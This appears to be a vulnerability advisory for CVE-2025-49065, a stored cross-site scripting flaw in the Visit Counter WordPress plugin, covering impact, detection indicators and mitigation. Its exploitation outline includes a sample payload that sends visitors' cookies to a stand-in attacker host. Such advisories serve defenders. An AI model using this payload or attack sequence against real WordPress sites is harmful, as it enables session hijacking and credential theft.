CVE-2025-49065: 
WordPress vulnerability analysis and mitigation

CVE-2025-49065 is a Stored Cross-Site Scripting (XSS) vulnerability in the BestiaDurmiente Visit Counter WordPress plugin, affecting all versions up to and including 1.0. The vulnerability was reported by researcher Nguyen Xuan Chien on July 24, 2025, and published by Patchstack on August 7, 2025. It carries a CVSS v3.1 base score of 7.1 (Medium/High), and no official patch from the developer was available at time of disclosure (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An unauthenticated attacker can inject malicious scripts into the plugin's data storage, which are then rendered and executed in the browsers of users who visit affected pages. Exploitation requires user interaction — a privileged user must visit or interact with a page containing the injected payload — but the initial injection itself requires no authentication (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript within the WordPress site, which executes in the context of any visitor's browser. This can lead to session hijacking, credential theft, unauthorized redirects, defacement, or delivery of malicious payloads to site visitors. The stored nature of the XSS means every user who visits an affected page is at risk, amplifying the potential impact across the entire site's audience (Patchstack).

The vulnerability is exploitable by unauthenticated attackers, though successful payload execution requires a privileged user to visit the affected page (user interaction required). Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of traffic or popularity. The EPSS score is approximately 0.033% (0.000330), indicating a currently low but non-negligible probability of exploitation. No CISA KEV listing or confirmed in-the-wild exploitation has been reported at this time (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Visit Counter plugin version ≤ 1.0 using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
2. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to execute in a victim's browser.
3. Inject payload: Submit the crafted payload through an unauthenticated input vector exposed by the Visit Counter plugin (e.g., a form field or URL parameter that the plugin stores without proper sanitization).
4. Wait for privileged user interaction: The payload is now stored in the WordPress database. When an administrator or privileged user visits the affected page, the script executes in their browser.
5. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the admin, redirect users, or deliver further malicious content to all site visitors (Patchstack).

• Logs: WordPress access logs showing unusual POST requests to endpoints handled by the Visit Counter plugin, particularly from unknown or automated IP addresses; repeated requests with encoded or obfuscated script tags in parameters.
• File System: Unexpected modifications to WordPress database entries associated with the Visit Counter plugin containing <script>, javascript:, or encoded XSS payloads.
• Network: Outbound connections from administrator browsers to unknown external domains shortly after visiting WordPress admin pages; traffic to attacker-controlled domains carrying cookie or session data.
• Browser/Application: Unexpected redirects or pop-ups experienced by site visitors or administrators when accessing pages where the Visit Counter plugin is active.

As of the disclosure date, no official patch from the plugin developer (BestiaDurmiente) is available for Visit Counter version 1.0. The recommended immediate action is to deactivate and remove the Visit Counter plugin from affected WordPress installations. Patchstack has issued a virtual patch (mitigation rule) for Patchstack-protected sites to block exploitation attempts until an official fix is released. Site owners unable to remove the plugin should consult their hosting provider or a web developer for assistance (Patchstack).

The vulnerability was included in Wordfence's weekly WordPress vulnerability report for August 4–10, 2025, and was referenced in CISA's vulnerability bulletin for the week of August 11, 2025 (Wordfence, CISA Bulletin). No significant vendor statements or notable researcher commentary beyond the Patchstack disclosure have been identified.